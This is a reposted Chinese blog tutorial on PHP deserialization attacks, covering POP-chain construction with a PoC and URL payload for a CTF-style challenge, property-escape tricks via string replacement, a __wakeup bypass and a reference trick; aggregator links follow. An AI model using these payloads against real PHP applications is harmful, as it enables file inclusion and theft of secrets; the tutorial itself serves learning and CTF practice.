php反序列化(2)

news2025/1/11 17:11:27

一.pop链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二.poc编写

poc (proof of concept)中文翻译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。编写一段不完整的程序,获取所需的序列化字符串。

来看一下一道反序列化例题

<?php
    class modifier{
    private $var;                       //注意私有属性只能在里面赋值。
    public function append($value){    //1
        include($value);              //include存在文件包含点
        echo $flag;}
        public function __invoke(){
            $this->append($this->var);  //将var赋值包含,flag.php。但是要触发invoke才行。触发invoke需要将对象当做函数调用
        }
    }


class show{
    public $source;
    public $str;
    public function __tostring(){
        return $this->str->source; //3 可以发现这里有两次调用,可以同过实例化str为test对象,而test中不存在source
    }                              //这里又需要tostring,要把对象当字符串,找echo(输出字符串)
    public function __wakeup(){
        echo $this->source;     //4 将source实例化成show可以出发tostring,这里又要触发wakeup,反序列化前触发。
    }
}

class test{
    public $p;
    public function __construct(){
    $this->p=array();
    }
    public function __get($get){
        $function = $this->p;
        return $function();        //2 发现这里有函数调用,所以将$function实例化成对象成modifier,然而这里需要                           //
    }                              //这里有需要触发get,get需要调用不存在的成员属性(找可以操作的调用)
}

if(isset($_GRT['pop'])){
    unserialize($_GET['pop']);
}
?>

这里我在旁边做了注释,其实就是思路。一般pop链题目比较绕,可以做一些记号让思路更清晰一点。

以上过程明白后就需要构造poc了。获得序列化的字符串,当然可以手敲poc,但容易错且繁杂。

这里我选择直接输出出来。

$mod = new modifier();
$test = new test();
$show = new show();
$test -> p=$mod;
$show ->str=$test;
$show ->source=$show;
echo serialize($show); //获得序列化字符串

注意:这里需要先给modifier类中var赋值 private $var = 'flag.php' ;(私有属性只能在类里面赋值,无法外部引用赋值)

最后传参构造payload:    url(题目路径)?pop=O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}

如果这里不知道为什么加%00请看php反序列化(1)-CSDN博客

上传成功,得到flag. 

正常情况下都是反推过程。

三. 反序列化逃逸

(1)反序列化分隔符

反序列化以 ;}结束,后面的字符串不影响正常的反序列化。

(2)逃逸基础

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

举个例子:

(1)

<?php
    class keep{
    var $a = "hr";
    }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));
?>

可见反序列化字符串可控。

注意:成员属性不对应和数字个数不对应的话都是不能进行反序列化的。

(2) 

<?php
    class keep{
    var $a = "hr";
    var $c = "beauty";
   }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));
?>

a,b是从反序列化中获取的。c是从类中获取的。

(3) 

<?php
    class keep{
    var $a = "hr";
    var $c = "beauty";
   }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:3:"hhr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));

?>

 a的属性值与反序列化字符串一致。

(4) 格式(字符个数要匹配相依值,几个类就几个,多长就多长)

满足上述的条件后面加的东西并不会影响反序列化,注意长度,也就是前面都没有问题的情况下;}才是结束符。

<?php
    class A{
    public $v1 = 'a';  
    }
    echo serialize(new A());
        //O:1:"A":1:{s:2:"v1";s:1:"a";}
    $b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}' ;//bool(false)
    $b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';//正常执行
    $b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';//bool(false)
    var_dump(unserialize($b));
??
 (3)属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间进行反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。

------- 减少

<?php
    class A{
    public $v1 = "nihaosystem()";
    public $v2 = "123";
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}
?>

现在 O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}  这个字符串已经不能成功反序列化了(后面格式错误),红色部分已经被吃了(当做了字符串的一部分)。

<?php
    class A{
    public $v1 = "nihaosystem()";
    public $v2 = "123";
}

$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以这段代码为例,逃逸一个属性v3值为drama.

先获取了原序列化字符串

"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}" 

构造poc 

//目标 $v3 = "drama";  格式: s:2:"v3";s:5:"drama"; //21个
//一个system()吞8个   ";s:2:"v2";s:3:"123  //19个
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
//payload ";s:2:"v2";s:24:"123 20个
//4个system(),要吞32个 ,最终一共要吞 20个 如果吞多了就在123那补就行,少了就加system(),然后补就行 这里补32-20=12
"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"

成功实现

//"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
class A{
    //public $v1 = "nihaosystem()";
    //public $v2 = "123";
    public $v1 = "nihaosystem()system()system()system()";
    public $v2 = '123123123123123";s:2:"v3";s:5:"drama';
}

$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump(unserialize($data));

结果

v1 v3从反序列化中来(poc构造语句)v2从类中来

 反序列化字符串逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

------- 增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。

<?php
    class A{
    public $v1 = 'ls';
    public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data))
?>
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

当然是反序列化不出来的,替换过程格使发生错误。

假设想逃逸一个 $v3="zhiyuan";

构造poc

//目标$v3 = "zhiyuan";  格式:s:2:"v3";s:7:"zhiyuan";} 需要;}来终止语句 24个
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

//可以知道一次替换吐一个
//";s:2:"v3";s:7:"zhiyuan";} 这些就是要吐出来的 26个  26*2+26=78
O:1:"A":2:{s:2:"v1";s:78:"lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}";s:2:"v2";s:3:"123";}

赋值执行 

//属性逃逸 -增多
class A{
    //public $v1 = 'ls';
   //public $v2 = '123';
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}';
    public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));

结果

 这些数据名与我最近的娱乐活动有关,不知道有没有同道中人,嘿嘿。

wakeup魔术方法绕过(当然还有其他的绕过方式)

版本:(php5<5.6.25)(php7<7.0.10)

如果存在wakeup魔术方法,调用unserialize()之前先调用__wakeup,但是系列化字符串中对象属性个数的值大于真实的属性个数时,会跳过wakeup()的执行。

如果遇到正则表达式过滤数字可考虑用 + 来连接如过滤o后面的数字

可以: o:+5:"nihao";

(4)引用
<?php
    include("flag.php");
class haha{
    var $enter;
    var $secret;
}
if(isset($_GET['pass'])){
    $pass = $_GET['pass'];
    $pass = str_replace('*','\*',$pass);
}
$over = unserialize($pass);
if($over){
    $o->secret ="*";
    if($over->secret === $o->enter)
        echo "congratulation!".$flag;
    else
        echo "oh no...";
}
else echo "are you trolling?";
?>

向这种就可以 :

class haha{

    var $enter;

    var $secret;

}

$a = new haha();

$a->enter =&$a->secret;

类似于c语言中的取地址,但c语言中的指针删了内存也删了,php中的引用删了内存不会

四.session反序列化漏洞

 (1)

如:haha|s:6:"123456";

 (2)

(3)php_binary:键名的长度对应的ascll字符+键名+经过serialize()函数序列化处理的值

例子: 

 两个页面,一个衣php_serialize格式保存,一个以php格式读取。

ps.Success is not final, failure is not fatal. It is the courage to continue that counts. 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1591052.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯基础18——第13届省赛真题与代码详解

目录 0.心得体会 1.题目如下 2.代码实现的思路 键值扫描 数码管窗口切换 数码管的动态扫描 继电器工作时L3闪烁&#xff0c;整点时刻L1灯光亮5秒 3.变量列表 定义的常量和数组 功能控制和状态变量 定时器和计数变量 4.代码参考 4.1 头文件 onewire.h ds1302.h 4…

vscode远程免密登录ssh

vscode远程免密登录ssh 1. 安装vscode2. 安装ssh3. 本地vscode配置免密登录远端开发机1. 本地配置秘钥2. 远程开发机配置秘钥 4. vscode常用小工具1. vscode怎么设置ctrl加滚轮放大字体 1. 安装vscode 2. 安装ssh 设置符号打开config配置文件&#xff0c;点击符号ssh连接新的远…

(UDP)其他信息: 通常每个套接字地址(协议/网络地址/端口)只允许使用一次。

“System.Net.Sockets.SocketException”类型的异常在 mscorlib.dll 中发生&#xff0c;但未在用户代码中进行处理其他信息: 通常每个套接字地址(协议/网络地址/端口)只允许使用一次。这个异常表示端口已经被占用了&#xff0c;需要释放端口或者使用其他端口来建立连接。您可以…

单片机方案 发声毛绒小黄鸭

随着科技的不断进步&#xff0c;智能早教已经成为了新时代儿童教育的趋势。智能早教玩具&#xff0c;一款集互动陪伴、启蒙教育、情感培养于一身的高科技产品。它不仅能陪伴孩子成长&#xff0c;还能在游戏中启迪智慧&#xff0c;是家长和孩子的理想选择。 酷得电子方案开发特…

程序员Java.vue,python前端后端爬虫开发资源分享

bat面试资料 bat面试题汇总 提取码&#xff1a;724z 更多资料

MYSQL5.7详细安装步骤

MYSQL5.7详细安装步骤&#xff1a; 0、更换yum源 1、打开 mirrors.aliyun.com&#xff0c;选择centos的系统&#xff0c;点击帮助 2、执行命令&#xff1a;yum install wget -y 3、改变某些文件的名称 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base…

python 今日小知识2—— globals() 函数

globals() 函数语法&#xff1a; globals() 参数 无 返回值 返回全局变量的字典。 globals()函数示例 下面是一个简单的示例&#xff0c;展示了globals()函数的用法&#xff1a; a 10 b 20def test_func():c 30for key,value in globals().items():print(key,value)t…

如何使用SQL注入工具?

前言 今天来讲讲SQL注入工具&#xff0c;sqlmap。如何使用它来一步步爆库。 sqlmap官方地址如下。 sqlmap: automatic SQL injection and database takeover tool 前期准备&#xff0c;需要先安装好docker、docker-compose。 一个运行的后端服务&#xff0c;用于写一个存在…

关于Unity使用DLL的说法

最近在研究一些构建依赖相关的&#xff0c;特别是Unity在不同平台上使用第三方类库时候的问题。简单查了一下资料&#xff0c;其实不难理解&#xff0c;这里只是简单的记录一下&#xff0c;弄明白一个简单的道理就行了。 为什么有的第三方库(DoTween),NewtonSoft等的dll库&…

HTML、CSS --javaweb学习笔记

记录一些重要的知识点 CSS引入方式 行内样式&#xff1a;<h1 style"...">内嵌样式&#xff1a;<style>…</style>外联样式&#xff1a;xxx.css <link href"..."> 颜色表示 关键字&#xff1a;red、green.......rgb表示法&…

C++矩阵库Armadillo出现warning solve() system is singular错误的解决

本文介绍使用C 语言的矩阵库Armadillo时&#xff0c;出现报错system is singular; attempting approx solution的解决方法。 在之前的文章中&#xff0c;我们介绍过Armadillo矩阵库在Visual Studio软件C环境中的配置方法&#xff08;https://blog.csdn.net/zhebushibiaoshifu/a…

回归预测 | Matlab实现SSA-GRNN麻雀算法优化广义回归神经网络多变量回归预测(含优化前后预测可视化)

回归预测 | Matlab实现SSA-GRNN麻雀算法优化广义回归神经网络多变量回归预测(含优化前后预测可视化) 目录 回归预测 | Matlab实现SSA-GRNN麻雀算法优化广义回归神经网络多变量回归预测(含优化前后预测可视化)预测效果基本介绍程序设计参考资料预测效果

计算机三级数据库技术备考笔记(十二)

第十二章 备份与恢复数据库 备份与恢复的概念 备份数据库就是将数据库中的数据以及保证数据库系统正常运行的有关信息保存起来&#xff0c;以备系统出现问题时恢复数据库时使用。 备份数据库 备份是制作数据库的副本,包括数据库结构、对象和数据。备份数据库的主要目的是为了防…

最新mysql8.3 保姆级 主从复制搭建教程

mysql 主从复制搭建 服务器配置表 机器ip操作系统主机192.168.31.25华为openEuler-22.03-LTS-SP3从机192.168.31.184华为openEuler-22.03-LTS-SP3从机192.168.31.228华为openEuler-22.03-LTS-SP3 1、在3台机器上安装独立的 mysql 1.1 创建myql文件夹用来存放mysql包 mkdir…

Centos7 搭建Mongodb 分片集群4.0/ PSA(三成员副本集)

MongoDB 简介:1、优点和缺点:2、MongoDB适用的业务场景:Centos7 搭建Mongodb 分片集群一、安装MongoDB社区版4.01、配置程序包管理系统(`yum`)2、安装对应版本的MongoDB软件包。3、创建运行mongodb的目录并禁用SELinux4、修改文件打开数5、初始化系统5.1、创建config配置…

LeetCode-5. 最长回文子串【字符串 动态规划】

LeetCode-5. 最长回文子串【字符串 动态规划】 题目描述&#xff1a;解题思路一&#xff1a;动态规划五部曲解题思路二&#xff1a;动态规划[版本二]解题思路三&#xff1a;0 题目描述&#xff1a; 给你一个字符串 s&#xff0c;找到 s 中最长的回文 子串 。 如果字符串的反序…

AndroidAutomotive模块介绍(二)应用及接口介绍

前言 上一篇文章中从整体角度描述了 Android Automotive 模块。本篇文章将对 Android Automotive 中的 APP 以及 API 部分展开描述。 上一篇&#xff1a;AndroidAutomotive模块介绍&#xff08;一&#xff09;整体介绍 下一篇&#xff1a;AndroidAutomotive模块介绍&#xff0…

GitHub repository - Branch - SSH clone URL - Clone in Desktop - Download ZIP

GitHub repository - Branch - SSH clone URL - Clone in Desktop - Download ZIP 1. Branch2. SSH clone URL3. Clone in Desktop4. Download ZIPReferences 1. Branch 显示当前分支的名称。从这里可以切换仓库内分支&#xff0c;查看其他分支的文件。 2. SSH clone U…

JavaWeb--JavaScript-事件绑定/BOM/DOM编程

目录 1. 事件绑定 1.1. 什么是事件 1.2. 常见事件 1.3. 事件的绑定 1.3.1. 属性绑定 1.3.2. DOM编程绑定 1.4. 事件的触发 1.4.1. 行为触发 1.4.2. DOM编程触发 2. BOM 编程 2.1. 什么是 BOM 2.2. window对象的常见属性(了解) 2.3. window对象的常见方法(了解) 2…

京东详情比价接口优惠券(2)

京东详情API接口在电子商务中的应用与作用性体现在多个方面&#xff0c;对于电商平台、商家以及用户都带来了显著的价值。 首先&#xff0c;从应用的角度来看&#xff0c;京东详情API接口为开发者提供了一整套丰富的功能和工具&#xff0c;使他们能够轻松地与京东平台进行交互。…